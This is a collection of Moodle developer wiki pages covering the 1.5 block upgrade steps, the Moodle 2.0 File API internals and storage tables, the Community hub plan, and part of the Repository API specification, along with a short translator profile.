In Moodle 1.4, blocks could only have what are now (in Moodle 1.5) called "global configuration" options, to differentiate from the new "instance configuration" options. If your block has support for configuration, you will need to take these steps:

# Rename your '''config.html''' file to '''config_global.html'''.
# Edit the newly renamed file and completely remove the <form> tag (Moodle now wraps your configuration in a form automatically).
# If you are using any HTML <input> tags other than those that directly affect your configuration (for example, "sesskey"), REMOVE those too (Moodle will add them automatically as required).
# If you have overridden '''print_config''', rename your method to [[Blocks/Appendix_A#config_print.28.29|config_print()]].
# If you have overridden '''handle_config''', rename your method to [[Blocks/Appendix_A#config_save.28.29|config_save()]].

=== Blocks with customized applicable formats ===

The correct way to specify the formats you want to allow or disallow your block to exist has been reworked for Moodle 1.5 to take account of the fact that blocks are no longer restricted to just courses. To have a block retain its intended behavior, you must change these format names (array keys in the return value of [[Blocks/Appendix_A#applicable_formats.28.29| applicable_formats()]] if they are used in your block:

# '''social''' should become '''course-view-social'''
# '''topics''' should become '''course-view-topics'''
# '''weeks''' should become '''course-view-weeks'''

You should also keep in mind that there is now the possibility of blocks being displayed in other pages too, like the introductory page that users see when they enter an activity module. You might therefore need to make the specification for applicable formats more restrictive to keep your block out of pages it is not supposed to be shown in. Also, there are subtle changes to the way that the final decision to allow or disallow a block is made. For the technical details refer to the definition of [[Blocks/Appendix_A#applicable_formats.28.29| applicable_formats()]], and for a more extended example read [[Blocks#Authorized_Personnel_Only|Authorized Personnel Only]], the section dedicated to this subject.

That's everything; your block will now be ready for use in Moodle 1.5!

[[Category:Blocks]]
[[Category:Tutorial]]

[[es:Desarrollo de bloques]]
[[ja:開発:ブロック/付録B]]

File API internals

2009-04-01T17:23:54Z

Mits: ja link

{{Moodle_2.0}}
This specification has now largely been implemented in Moodle 2.0. Inevitably, in the implementation, some details may have changed. If in doubt, read the code. (Then come back and correct this page ;-))

The implementation of this specification is being tracked at MDL-14589.

Please see [[Using the file API]] if you just want to know how to use the File API in your code, rather than how it works internally.

==Objectives==

The goals of these changes are to:

* allow files to be stored within Moodle, as part of the content (as we do now).
* use a consistent and simple approach for all file handling throughout Moodle.
* give modules control over which users can access a file, using capabilities and other local rules.
* make it easy to determine which parts of Moodle use which files, to simplify operations like backup and restore.
* track where files originally came from.
* avoid redundant storage, when the same file is used twice.
* fully support Unicode file names, irrespective of the capabilities of the underlying file system.

==Overview==

The File API is a set of core interfaces to allow the rest of Moodle to:
# store files, and
# display files to users.
It applies only to files that are part of the Moodle site's content. It is not used for internal files, such as those in the following subdirectories of dataroot: temp, lang, cache, environment, filter, search, sessions, upgradelogs, ...

The API can be subdivided into the following parts:
; Serving files
: Lets users accessing a Moodle site get the files (file.php, draftfile.php, pluginfile.php, userfile.php, etc.)
:* Serve the files on request
:* with appropriate security checks
; File API internals
: Stores the files on disc, with metadata in associated database tables.
:* Content-addressed storage.
; File management API
: Allows code to manipulate the stored files (lib/filelib.php)
:* find information about stored files.
:* print links to files.
:* move/rename/copy/delete/etc.
:* keep a file synchronised with an external repository.
; File management user interface
: Provides the interface for (lib/form/file.php, filemanager.php, filepicker.php and files/index.php, draftfiles.php)
:* Form elements allowing users to select a file using the Repository API, and have it stored within Moodle.
:* UI for users to manage their files, replacing the old course files UI

== Serving files ==

TODO revise this section.

Deals with serving of files - browser requests file, Moodle sends it back. We have three main files. It is important to setup slasharguments on server (file.php/some/thing/xxx.jpg), any content that relies on relative links can not work without it (scorm, uploaded html pages, etc.).

=== file.php ===

Serves course files.

Implements basic file access. Ideally only images and files linked from course sections should be there, no XSS protection required - we expect javascript, sw, etc. there, no way to make it "secure". The access control is not critical any more if we move most of the files into modules

The file name and parameter structure is critical for backwards compatibility of existing course content.

/file.php/courseid/dir/dir/filename.ext

Internally the files would be stored in <code>array('contextid'=>$coursecontextid, 'filearea'=>'coursefiles', 'itemid'=>0)</code>

=== pluginfile.php ===

(aka modfile.php)
Sends module, block, question files.
* modules decide about access control
* optional XSS protection - student submitted files must not be served with normal headers, we have to force download instead; ideally there should be second wwwroot for serving of untrusted files
* only internal links to selected areas are supported - you can link images in summary area, but not the assignment submissions

Absolute file links need to be rewritten if html editing allowed in module. The links are stored internally as relative links. Before editing or display the internal link representation is converted to absolute links using simple str_replace() @@thipluginlink/summary@@/image.jpg --> /pluginfile.php/assignmentcontextid/intro/image.jpg, it is converted back to internal links before saving.

::Can the distinct file areas supported by one plugin be declared somehow in order add some information about them? For example, I think it can be interesting to declare:
::* assignment_summary:
::** relpath='intro'
::** userdata=false
::** anotherproperty=anothervalue
::* assignment_submission:
::** relpath='submission/@@USERID@@'
::** userdata=false
::** anotherproperty=anothervalue
::* and so on...
::And then, when the editor "receives" one "assignment_summary" areaname, if knows what to show and so on? Also that info could be useful to know, in backup & restore if some fileareas have to be processed or no (userdata=false). Or also, when reconstructing the links (str_replace() above). And will cause to have a well defined list of fileareas by module, instead of coding them in a free way (prone to errors). [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 16:35, 28 June 2008 (CDT)

::Something like this will be part of file management API, hardcoding this in file storage would make it less flexible imo [[User:Skodak|Skodak]]

::Yup, yup. Storage doesn't know anything but get/put files (nothing else). It's part of management, absolutely. [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 11:21, 29 June 2008 (CDT)

/pluginfile.php/contextid/areaname/arbitrary/params/or/dirs/filename.ext

pluginfile.php detects the type of plugin from context table, fetches basic info (like $course or $cm if appropriate) and calls plugin function (or later method) which does the access control and finally sends the file to user. ''areaname'' separates files by type and divides the context into several subtrees - for example ''summary'' files (images used in module intros), post attachments, etc.

==== Assignment example ====

/pluginfile.php/assignmentcontextid/intro/someimage.jpg
/pluginfile.php/assignmentcontextid/submission/submissionid/attachmentname.ext
/pluginfile.php/assignmentcontextid/extra/allsubmissionfiles.zip

::Uhm... all those files together? What's going to differentiate the "submission" path in the example above from the "summary" path? Is it supposed that the editor, or the filemanager won't allow , for example to pick-up one file from the "submission" area to be used in the summary of one assignment and only the "summary" area will be showed? That means multiple file managers by context and it's against the clean "one file manager per context" agreed below [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 21:28, 26 June 2008 (CDT)
::Yes Eloy, the different areas (summary, submission) etc. have different uses, different access control. There are two types of file manager - the two pane file manager which lists all contexts+areas user may access, and minimalistic manager in html editor which shows only subset of areas from current plugin (because you can not link anything else).

====scorm example====

/pluginfile.php/scormcontextid/intro/someimage.jpg
/pluginfile.php/scormcontextid/content/revisionnumber/dir/somescormfile.js

The revision counter is incremented when any file changes in order to prevent caching problems. The lifetime should be adjustable in module settings.

====quiz example====

pluginfile.php/quizcontextid/intro/niceimage.jpg
pluginfile.php/quizcontextid/report/type/export.ods

====questions example====

pluginfile.php/SYSCONTEXTID/question/questionid/file.jpg

====blog example====
Blog entries or notes in general do not have context id (because they live in system context, SYSCONTEXTID below is the id of system context).
The note attachments are always served with XSS protection on, ideally we should use separate wwwroot for this. Access control can be hardcoded.

/pluginfile.php/SYSCONTEXTID/blog/blogentryid/attachmentname.ext

Internally stored in <code>array('contextid'=>SYSCONTEXTID, 'filearea'=>'blog', 'itemid'=>$blogentryid)</code>

====backup example====
It would be nice to have some special protection of backup files - new capabilities for backup file download, upload. Backups contain a lot of personal info, we could block restoring of backups from other sites too.

/pluginfile.php/coursecontextid/backup/backupfile.zip

Internally stored in <code>array('contextid'=>$coursecontextid, 'filearea'=>'backup', 'itemid'=>0)</code>

===userfile.php===
Personal file storage, intended as an online storage of work in progress like assignments before the submission.
* read/write own files only for now
* option to share with others later
* personal "websites" will not be supported (security)

/userfile.php/userid/dir/dir/filename.ext

===rssfile.php===
Replaces rss/file.php which is kept only for backwards compatibility.
RSS files should not require sessions/cookies, URLs should contain some sort of security token/key.
Internally the files may be stored in database or together with other files.
Performance improvements - we should support both Etag (cool) and Last-Modified (more used), when we receive If-None-Match/If-Modified-Since => 304

/rssfile.php/contextid/any/parameters/module/wants/rss.xml
/rssfile.php/SYSCONTEXTID/blog/userid/rss.xml

Again modules and plugins decide what gets sent to user.

=== Temporary files ===
Temporary files are usually used during the lifetime of one script only.
uses:
* exports
* imports
* zipping/unzipping
* processing by executable files (latex, mimetex)

Ideally these files should never use utf-8 (which is a major problem for zipping at the moment).
Proposed new sha1 based file storage is not suitable both for performance and technical reasons.

=== Legacy file storage and serving ===
Going to use good-old separate directories in $CFG->dataroot.

file serving and storage:
# user avatars - user/pix.php
# group avatars - user/pixgroup.php
# tex, algebra - filter/tex/* and filter/algebra/*
# rss cache (?full rss rewrite soon?) - backwards compatibility only rss/file.php

only storage:
#sessions

== File API internals ==

=== File storage on disk ===

Files are stored in $CFG->dataroot (also known as moodledata) in the filedir subfolder.

Files are stored according to the SHA1 hash of their content. This means each file with particular contents is stored once, irrespective of how many times it is included in different places, even if it is referred to by different names. (This idea comes from the git version control system.) To relate a file on disc to a user-comprehensible path or filename, you need to use the file database tables. See the next section.

Suppose a file has SHA1 hash 081371cb102fa559e81993fddc230c79205232ce. Then it will be stored in on disc as moodledata/filedir/08/13/71/081371cb102fa559e81993fddc230c79205232ce.

If you were wondering, in PHP, SHA1 hashes can be computed with either the [http://php.net/sha1 sha1] or [http://php.net/sha1_file sha1_file] functions.

The information in this section should be considered completely internal to the file API. Other parts of the Moodle code should manipulate files using the higher level functions of the file API. For example, they should refer to files by file id in the file table, not the SHA1 hash.

=== Files database tables ===

==== Table: files ====

This table contains one entry for each usage of a file. Enough information is kept here so that the file can be fully identified and retrieved again if necessary.

If, for example, the same image is used in a user's profile, and a forum post, then there will be two rows in this table, one for each use of the file, and Moodle will treat the two as separate files, even though the file is only stored once on disc.

{| class="nicetable"
! Field
! Type
! Default
! Info
|-
| '''id'''
| int(10)
| auto-incrementing
| The unique ID for this file.
|-
| contenthash
| varchar(40)
|
| The sha1 hash of content.
|-
| pathnamehash
| varchar(40)
|
| The sha1 hash of contextid+filearea+itemid+filepath+filename - prevents file duplicates and allows fast lookup
|-
| '''contextid'''
| int(10)
|
| The context id defined in context table - identifies the instance of plugin owning the file.
|-
| filearea
| varchar(50)
|
| Like "submissions", "intro" and "content" (images and swf linked from summaries), etc.; "blogs" and "userfiles" are special case that live at the system context.
|-
| '''itemid'''
| int(10)
|
| Some plugin specific item id (eg. forum post, blog entry or assignment submission or user id for user files)
|-
| filepath
| text
|
| relative path to file from module content root, useful in Scorm and Resource mod - most of the mods do not need this
|-
| filename
| varchar(255)
|
| The full Unicode name of this file (case sensitive)
|-
| '''filesize'''
| int(10)
|
| size of file - bytes
|-
| mimetype
| varchar(100)
| NULL
| type of file
|-
| '''userid'''
| int(10)
| NULL
| Optional - general user id field - meaning depending on plugin
|-
| '''timecreated'''
| int(10)
|
| The time this file was created
|-
| '''timemodified'''
| int(10)
|
| The last time the file was last modified
|}

Indexes:
* non-unique index on (contextid, filearea, itemid)
* non-unique index on (contenthash)
* unique index on (pathnamehash).

The plugin type does not need to be specified because it can be derived from the context. Items like blog that do not have their own context will use their own file area inside a suitable context. In this case, the user context.

Entries with filename = '.' represent directories. Directory entries like this are created automatically when a file is added within them.

Note: 'files' plural used even thought that goes against the [[Coding#Database_structures|coding guidelines]] because 'file' is a reserved word.

==== Table: files_metadata ====

This table contains extra metadata about files. Repositories could provide this, or it could be manually edited in the local copy.

{| class="nicetable"
! Field
! Type
! Default
! Info
|-
| '''id'''
| int(10)
| auto-incrementing
|
|-
| '''fileid'''
| int(10)
|
| Foreign key, references files.id
|-
| '''name'''
| varchar(255)
|
| The name of the metadata field
|-
| value
| text
|
| The value of this metadata field
|}

Note: this is not implemented yet.

==== Table: files_sync ====

This table contains information on how to synchronise data with repositories. Data would be synchronised from cron.php or on demand from file manager. The sync would be one way only (repository -> local file).

{| class="nicetable"
! Field
! Type
! Default
! Info
|-
| '''id'''
| int(10)
| auto-incrementing
|
|-
| '''fileid'''
| int(10)
|
| Foreign key, references files.id
|-
| '''repositoryid'''
| int(10)
|
| The repository instance this is associated with, see [[Repository_API]]
|-
| updates
| int(10)
|
| Specifies the update schedule (0 = none, 1 = on demand, other = some period in seconds)
|-
| repositorypath
| text
|
| The full path to the original file on the repository
|-
| timeimportfirst
| int(10)
|
| The first time this file was imported into Moodle
|-
| timeimportlast
| int(10)
|
| The most recent time that this file was imported into Moodle
|}

Note: this is not implemented yet. It may end up being implemented within the Repository API istead. That is, this table may end up being called repository_sync.

==== Table: files_cleanup ====

This table contains candidates for deletion from the file pool. Files are not deleted immediately because there may be multiple references to the same file. Therefore, it is better for performance to simply add a row to this table, and later, on cron, clean the files off disc if they are really no longer used. Also, batch deletion on cron makes it easier to avoid concurrency issues when one user deletes what was the last reference to the file as another user adds a new reference. (The cron cleanup code should be doing appropriate locking.)

{| class="nicetable"
! Field
! Type
! Default
! Info
|-
| '''id'''
| int(10)
| auto-incrementing
|
|-
| contenthash
| varchar(40)
|
|
|}

===Implementation of basic operations===

This is just an overview. See the external API description below for how to do this from client code.

====Storing a file====

# Calculate the SHA1 hash of the file contents.
# Check if a file with this SHA1 hash already exists on disc. If not, store the file there.
# Remove this SHA1 hash from list of deleted files, if present.
# Add the record for this file to the files table.

====Reading a file====

# Fetch the record (which includes the SHA1 hash) for the file you want from the files table.
# Retrieve the contents using the SHA1 hash.

====Deleting a file====

# Store the SHA1 hash of the file being deleted in the files_cleanup table.
# Delete the record from the files table.
# Later, admin/cron.php will actually delete the file from disc if it is no longer used (with proper table locking to prevent race conditions when adding/deleting files simultaneously).

== File management API ==

This is what other parts of Moodle use to access and manage files. The code is in lib/file/.

These section documents both the public facing parts of this code, and also the inner workings. Hopefully it makes it sufficiently clear which is which. For more information, see the API documentation in the code, and [[Using_the_file_API]].

TODO write the rest of this section.

=== lib/filelib.php ===

Including this file includes all of the other library files.

=== Class: file_browser ===

=== Class: file_info and subclasses ===

=== Class: file_storage ===

=== Class: stored_file ===

=== File exceptions===

== File management user-interface ==

=== File manager ===

All the contexts, file areas and files now form a single huge tree structure, although each user only has access to certain parts of that tree. The file manager (files/index.php) allow users to brows this tree, and manage files within it, according to the level of permissions they have.

Single pane file manager is hard to implement without drag & drop which is notoriously problematic in web based applications. I propose to implement a two pane commander-style file manager. Two pane manager allows you to easily copy/move files between two different contexts (ex: courses).

File manager must not interact directly with filesystem API, instead each module should return traversable tree of files and directories with both real and localised names (localised names are needed for dirs like backupdata).

This code will be in file/.

=== Formslib field types ===

This code will be in lib/form/

* Upload single files.
* Upload multiple files to a files area.
* HTML editor (see next)

=== Integration with the HTML editor ===

Each instance of the HTML editor will be told to store related files in a particular file area.

During editing, files will be stored in a draft files area. Then when the form is submitted they will be (automatically) moved into the real file area.

Files will be selected using the repository file picker.

=== Local files repository plugin ===

Allows users to see an browse files they already have access to within this Moodle, for inclusion in the page currently being edited.

This code will be in repository/local/

== Backwards compatibility ==

=== Content backwards compatibility ===

This should be preserved as much as possible. This will involve rewriting links in content during the upgrade to 2.0.

Some new features (like resource sharing - if implemented) may not work with existing data that still uses files from course files area.

There might be a breakage of links due to special characters stripping in uploaded files which will not match the links in uploaded html files any more. This should not be very common I hope.

===Code backwards compatibility===

Other Moodle code (for example plugins) will have to be converted to the new APIs. See [[Using_the_file_API]] for guidance.

It is not possible to provide backwards-compatibility here. For example, the old $CFG->dataroot/$courseid/ will no longer exist, and there is no way to emulate that, so we won't try.

== Upgrade and migration ==

When a site is upgraded to Moodle 2.0, all the files in moodledata will have to be migrated. This is going to be a pain, like DML/DDL was :-(

The upgrade process should be interruptible (like the Unicode upgrade was) so it can be stopped/restarted any time.

=== Migration of content ===

* resources - move files to new resource content file area; can be done automatically for pdf, image resources; definitely not accurate for uploaded web pages
* questions - image file moved to new area, image tag appended to questions
* moddata files - the easiest part, just move to new storage
* coursefiles - there might be many outdated files :-( :-(
* rss feeds links in readers - will be broken, the new security related code would break it anyway

=== Moving files to files table and file pool ===

The migration process must be interruptable because it might take a very long time. The files would be moved from old location, the restarting would be straightforward.

Proposed stages:
#migration of all course files except moddata - finish marked by some $CFG->files_migrated=true; - this step breaks the old file manager and html editor integration
#migration of blog attachments
#migration of question files
#migration of moddata files - each module is responsible to copy data from converted coursefiles or directly from moddata which is not converted automatically

Some people use symbolic links in coursefiles - we must make sure that those will be copied to new storage in both places, though they can not be linked any more - anybody wanting to have content synced will need to move the files to some repository and set up the sync again.

::Talked about a double task here, when migrating course files to module areas:
::# Parse html files to detect all the dependencies and move them together.
::# Fallback in pluginfile.php so, if something isn't found in module filearea, search for it in course filearea, copying it and finally, serving it.

:: Also we talked about the possibility of add a new setting to resource in order to define if it should work against old coursefiles or new autocontained file areas. Migrated resources will point to old coursefiles while new ones will enforce autocontained file areas.

:: it seems that only resource files will be really complex (because allow arbitrary HTML inclusion). The rest (labels, intros... doesn't) and should be easier to parse.

::[[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 19:00, 29 June 2008 (CDT)

== Parts of Moodle that need to be modified ==

Of course, all parts of Moodle that use files need to be changed. See MDL-14589 for a more detailed list.

=== Any form where the user can upload files ===

=== Any from containing a HTML editor ===

Since users can embed images etc. there.

=== Backup/restore ===

File handling in backups needs to be fully rewritten - list of files in xml + pool of sha1 named files with contents. This solves the utf-8 trouble here, yay!!

=== Antivirus scanning ===

== Issues that need to be resolved ==

=== Unicode support in zip format ===

''This has now been solved by using the built in zip in PHP 5.2.8.''

Zip format is an old standard for compressing files. It was created long before Unicode existed, and Unicode support was only recently added. There are several ways used for encoding of non-ASCII characters in path names, but unfortunately it is not very standardised. Most Windows packers use DOS encoding.

Client software:
* Windows built-in compression - bundled with Windows, non-standard DOS encoding only
* WinZip - shareware, Unicode option (since v11.2)
* TotalCommander - shareware, single byte(DOS) encoding only
* 7-Zip - free, Unicode or DOS encoding depending on characters used in file name (since v4.58beta)
* Info-ZIP - free, uses some weird character set conversions

PHP extraction:
* Info-ZIP binary execution - no Unicode support at all, mangles character sets in file names (depends on OS, see docs), files must be copied to temp directory before compression and after extraction
* PclZip PHP library - reads single byte encoded names only, problems with random problems and higher memory usage.
* Zip PHP extension - reads single byte encoded names only, 64bit operating system can not open/create archives with more than 500 files (depends on sum of lengths of all filenames and directories, to be fixed in PHP 5.3 and external PECL library, no PHP 5.2.x backport planned!), adding of files is limited by number of free file handles (around 1000 - depends on OS and other PHP code, workaround is to close and reopen archive)

Large file support:
PHP running under 32bit operating systems does not support files >2GB (do not expect fix before PHP 6). This might be a potential problem for larger backups.

Tar Alternative:
* tar with gzip compression - easy to implement in PHP + zlib extension (PclTar, Tar from PEAR or custom code)
* no problem with unicode in *nix, Windows again expects DOS encoding :-(
* seems suitable for backup/restore - yay!

Roadmap:
# add zip processing class that fully hides the underlying library
# use single byte encoding "garbage in/garbage out" approach for encoding of files in zip archives; add new 'zipencoding' string into lang packs (ex: cp852 DOS charset for Czech locale) and use it during extraction, we might support true unicode later when PHP Zip extension does that

== Possible future ideas ==

=== Files maintenance report ===

This would do deep validation of the files on disc. It would:
* Report when there is a row in the files table, but the corresponding file is missing from the file system.
* Report files that still exist on disc, even though no references remain.
* Report orphaned files.
* Report total disc space usage by context (as much as is possible with content-addressible file storage).
* Verify that the SHA1 hash of the contents of each file matches the file name.

In addition, it might offer options to fix these problems, where possible.

=== Support quotas per user, course, etc. ===

People want this.

If we have implemented the above report, it would then just be a matter of adding the interface hooks to stop people uploading more files once the quota has been reached.

(We could also divide the file size by number of instances that are using it, this might be considered more accurate in some scenarios.)

== See also ==

* [[Using the file API]]
* [[Repository API]]
* [[Portfolio API]]
* MDL-14589 - File API Meta issue

{{CategoryDeveloper}}
[[Category:Files]]

[[ja:開発:ファイルAPI]]

User:Mitsuhiro Yoshida

2009-02-09T13:04:11Z

Mits:

*The official translator for Moodle in Japanese since November 21, 2002.<br />
*Moodle Partner<br />
*Moodle theme Oceanblue developer

:http://mitstek.com/<br />

I like "Haiku" and my recent Haiku is ...<br />

Japanese: Cafe no door wa hiraki haru wo miokuri<br />
English: Cafe door open see off Springtime<br />

Japanese: Shunshou ya tokotoko tokotoko beagle ken<br />
English: Spring vesper toddle along beagle dog<br />

The theme of my life is "Being Open".<br />
And my personal motto is "Is there any learning going on there?".<br /><br />

Mits

Community hub

2009-01-05T20:16:08Z

Mits: /* See also */

The Moodle Community hub is a future project which will allow more interaction between teachers building courses and teachers using them, courses and user data can then be stored in a repository as shown below:

[[Image:Community.png]]

In short we want to allow Moodlers to find and connect to other sites easily, to join communities of practice. We'll do this via a central directory open to all.

==A. Moodle.org directory==

A new directory system (directory.moodle.org?) will allow you to browse/search the available courses/hubs around the world, via two methods:
# A web interface, with clickable links to the sites so that users can log in manually.
# A REST-based web services interface, designed to be used by other systems (eg Moodle sites) directly

Both interfaces will provide the same data.

==B. New registration form in Moodle ==

The existing registration form can be extended so that admins can choose to send in more info about their sites to the directory, including:
# Lists of courses, each one with:
## Name
## Description
## Tags / keywords (perhaps from a standard set)
## Country/region
## Availability (public/private)
## Cost (and currency)
## Audience: educators / students / admins (use legacy name of role?)
## Educational level being discussed (for educators audience only)
## Language
## What else?
# Mnet registration details, enough to let someone else log in to this site
# Overall information about the whole site, such as a custom description etc

If any of these are set, then that Moodle will automatically inform moodle.org later when this information is updated, and possibly send a heartbeat ping every week or so (so that we can delete Moodle sites that miss two weeks).

==C. Community link from every Moodle==

Every course will have a "Community" button (for teachers mostly) that links to a script in Moodle that uses the web services interface to search/browse available courses. The idea behind doing it this way is so that the script can do whatever that current version of Moodle can handle, rather than having the server generate pages that might not work.

Requires:
# Add a new button to courses, with a new capability to view it (default on for teachers, not students)
# Add a new Moodle script to browse/search hubs (using web services to call Moodle.org), and join sites if Mnet is all available, otherwise just link to courses for manual authentication/enrolment
# Public Mnet sites in "Hub mode" should allow immediate single-sign-on (even if admins aren't involved?)

==D. Hub as repository==

Courses and other places in Moodle have a "Search for template..." button, which pulls up the normal file picker to look for template files. The Mnet-based community hubs that have been configured appear as just another repository, and show a kind of iTunes-like interface to browse/search for content and select one for download.

# Special new file types for Moodle files eg .mbkup.zip .mforumbkup.zip
# Special repository plugin in the client Moodle that displays a nice interface in an iframe, based on data retrieved via mnet services from the hub.
# Special module (activity module?) in the server Moodle that manages uploaded files with ratings, comments, tagging, workflow etc.
# Course page to unpack returned file and "restore" it to the current course.

==E. Hub as portfolio==

Courses and other places have a "Save.." button which calls standard portfolio interface. Any configured mnet hosts will appear as a plugin there as well, so it will be possible to push the course as a zip to the external system (the special activity module in a course of your choosing)

== See also ==

* [[Community hub technotes]] - relating to MNet developments in Moodle 1.8

[[Category:MNET]]

[[ja:開発:コミュニティハブ]]

Community hub

2009-01-05T20:14:31Z

Mits:

Repository API

2008-12-31T22:11:45Z

Mits: ja link

{{Moodle_2.0}}This page describes the specification for a future feature, currently being worked on for Moodle 2.0. This spec is STILL UNDER CONSTRUCTION.

See MDL-13766 to track the status of the implementation.

The page is open for everyone so everyone can help correct mistakes and help with the evolution of this document. However, if you have questions to ask, problems to report or major changes to suggest, please add them to the [[Development_talk:Repository_API|page comments]], or start a discussion in the [http://moodle.org/mod/forum/view.php?id=1807 Repositories forum]. We'll endeavour to merge all such suggestions into the main spec before we start development.

Note that parts of this document have been now split off into a separate [[File_API]]

==Objectives==

# Allow all Moodle users to easily bring content into Moodle from external repositories
# Provide a consistent interface to any external repository, for any Moodle module

==Use cases==

===Teacher adding an external file as a new resource===

# Teacher wants to add a new resource to a course
# Teacher clicks the "Choose a resource" button
# Teacher is presented with a simple file picker to choose a file (with a menu to switch between multiple configured repositories)
# Teacher chooses a file in an external repository
# File is COPIED into Moodle and stored by the resource module
# File is marked as owned by that user
# Whenever someone wants to view that file, the resource module controls access (see [[File API]] )

===Teacher linking to an external file as a new resource (think video repository) ===

# Teacher wants to display a file in the repository
# Teacher clicks the "Choose a resource" button
# Teacher is presented with a simple file picker to choose a file (with a menu to switch between multiple configured repositories)
# Teacher chooses a file in an external repository
# Link to the file is COPIED into Moodle and stored by the resource module
# Link is marked as owned by that user
# Whenever someone wants to follow that link, the resource module controls access (see [[File API]] )

===Student submitting an assignment===
# Student needs to submit an assignment and presses the "Choose files" button
# Student sees a "file picker" where they can see files listed on any of several configured repositories ([https://docs.moodle.org/en/Image:Filepicker_login.jpg file picker login], [https://docs.moodle.org/en/Image:Filepicker_browser.jpg file picker browser], [https://docs.moodle.org/en/Image:Filepicker_search.jpg file picker search])
# Student chooses MySpace from the list
# Student is prompted to enter MySpace username/password (if admin allows it, a checkbox could be there to "remember this for next time" but remember security)
# Student sees their files in MySpace and chooses one or more
# Files are copied from MySpace to Moodle
# Assignment module controls the permissions so that only the Student and assignment graders can see the file (other students would not have permission).

===Student attaching an image to a forum===
# Student needs to attach an image and presses the "Choose files" button in the posting screen
# Student sees a "file picker" where they can see files listed on any of several configured repositories
# Student chooses Mahara from the list
# Student is prompted to enter Mahara username/password
# Student sees their files in Mahara and chooses one image
# Image is copied to Moodle
# Image file is attached to forum post by Forum module (by reference)
# Forum module controls permissions so that anyone who can read that forum can see that file

===Student attaching the same image in another forum===

# Student needs to submit an assignment and presses the "Choose files" button
# Student sees a "file picker" where they can see files listed on any of several configured repositories
# Student chooses "Local files" from the list and sees all the files they've uploaded before
# A COPY of the image file is attached to forum post by Forum module
# Forum module controls access to this file.

Please add more use cases in this same format

==Mock screenshots==
When you first call up the file picker and choose a repository, you might be asked to log in (if saving of passwords is not allowed):

[[Image:Filepicker_login.jpg]]

Browsing files could look something like this:

[[Image:Filepicker_browser.jpg]]

And you can also search:

[[Image:Filepicker_search.jpg]]

==General architecture==

Each repository plugin (a standard Moodle plugin stored under /repository/xxx) will subclass the standard API and override methods specific to that repository.

As is usual in Moodle, there will be admin settings to disable/enable certain repository plugins as standard, as well as user settings so that users can add their own personal repositories to the standard list (eg [http://briefcase.yahoo.com Yahoo Briefcase] or [http://docs.google.com Google Docs]) and to select their default repository.

Once a repository has been used the file will usually be copied into Moodle there and then. However there will also be options to:
* only return the URL to the file if it's desired to keep it external (but this does present security and integrity risks), or
* refresh the local file copy regularly and automatically
* refresh the file manually if desired

Once in Moodle, it is subject to the [[File API]] for access control like any other file.

==Repository requirements==

From the Moodle point of view, each repository is just a hierarchy of nodes.

The repository MUST provide:
# A URI to download each node (eg file).
# A list of the nodes (eg files and directories) under a given node (eg directory). This allows Moodle to construct a standard browse interface (much like a standard OS file picker). However some repository plugins may choose to completely override the repository_browse() method and implement their own interface, that's OK, as long as they end up with a URL for the file.

The repository can OPTIONALLY:
# Require some authentication credentials
# Provide more metadata about each node (mime type, size, dates, related files, dublin core stuff, etc)
# Describe a search facility (so that Moodle can construct a search form)
# Provide copyright and usage rules (or just information about the rules)

==Repository plugins==

Some plugins I'd like to see developed for the first version are:
* local - very similar to the current course-based file manager, except user-based
* moodle - an interface to another Moodle site, accessed over a secure mnet connection
* jsr170 - an interface that can talk to anything that supports jsr170 (eg [http://www.alfresco.com/ Alfresco])
* oki - an OKI emulator allowing us to access things with OKI interfaces,like [http://www.fedora.info/ Fedora]
* briefcase - an interface to [http://briefcase.yahoo.com/ Yahoo Briefcase]
* myspace - an interface to MySpace files (perhaps via [http://www.programmableweb.com/api/myspace this MySpace API])
* googledocs - an interface to [http://docs.google.com Google Docs]
* s3 - an interface to [http://www.amazon.com/gp/browse.html?node=16427261 Amazon S3]
* skydrive - an interface to Microsoft's [http://skydrive.live.com/ SkyDrive] files
* box - an interface to [http://box.net box.net]
* facebook - an interface to Facebook files
* merlot - an interface to the learning materials in [http://www.merlot.org/merlot/materials.htm Merlot.org]
* flickr - an interface to [http://flickr.com flickr]
* youtube - an interface to [http://youtube.com YouTube]
* mahara - an interface to a Mahara installation
* Dspace - a repository from MIT
* DOOR - another popular open source repository
* SMB shares - An interface for windows shares e.g. personal folders on network drives. Would need to link with LDAP as usernames will often be wholly/partially the same as network folder names. This could be done using SAMBA, but would also need to work on windows machines natively. See [http://moodle.org/mod/data/view.php?d=13&rid=991 this block] for a linux implementation.
* WebDAV - to access arbitrary external WebDAV servers

==Tables==

=== repository ===

{| border="1" cellpadding="2" cellspacing="0"
|'''Field'''
|'''Type'''
|'''Default'''
|'''Info'''

|-
|'''id'''
|int(10)
|
|autoincrementing

|-
|'''type'''
|varchar(255)
|
|The type of the repository

|-
|'''visible'''
|tinyint(1)
|
|

|-
|sortorder
|int(10)
|
|
|}

=== repository_instances ===

This table contains one entry for every configured external repository instance.

{| border="1" cellpadding="2" cellspacing="0"
|'''Field'''
|'''Type'''
|'''Default'''
|'''Info'''

|-
|'''id'''
|int(10)
|
|autoincrementing

|-
|name
|varchar 255
|
|A custom name for this repository (non-unique)

|-
|'''typeid'''
|int(10)
|
|The id of repository type

|-
|'''userid'''
|int(10)
|
|The person who created this repository instance

|-
|'''contextid'''
|int(10)
|
|The context that this repository is available to ( = system context for site-wide ones)

|-
|username
|varchar(255)
|
|username to log in with, if required (almost never!)

|-
|password
|varchar(255)
|
|password to log in with, if required (almost never!)

|-
|timecreated
|int(10)
|
|The time this repository was created

|-
|timemodified
|int(10)
|
|The last time the repository was modified
|}

=== repository_instance_config ===

{| border="1" cellpadding="2" cellspacing="0"
|'''Field'''
|'''Type'''
|'''Default'''
|'''Info'''

|-
|'''id'''
|int(10)
|
|autoincrementing

|-
|'''instanceid'''
|int(int)
|
|

|-
|'''name'''
|varchar(255)
|
|

|-
|value
|Text
|
|
|}

===File types===

The context at which someone is inserting a file may require certain file types (eg uploading a new user profile image is only looking for images).

To support this, the calling code needs to be able to specify the required mimetypes, and the listing code should be able to filter the results based on these mimetypes. Ideally the repository itself can do the filtering for ultimate speed (though not all repositories will support this).

We will have to develop special new mimetypes for Moodle files like backups (application/vnd.moodle.backup) and IMS learning design (application/vnd.moodle.imsld) etc

==Technical walkthrough==

(See also the functional spec for the [[Repository_File_Picker]] )

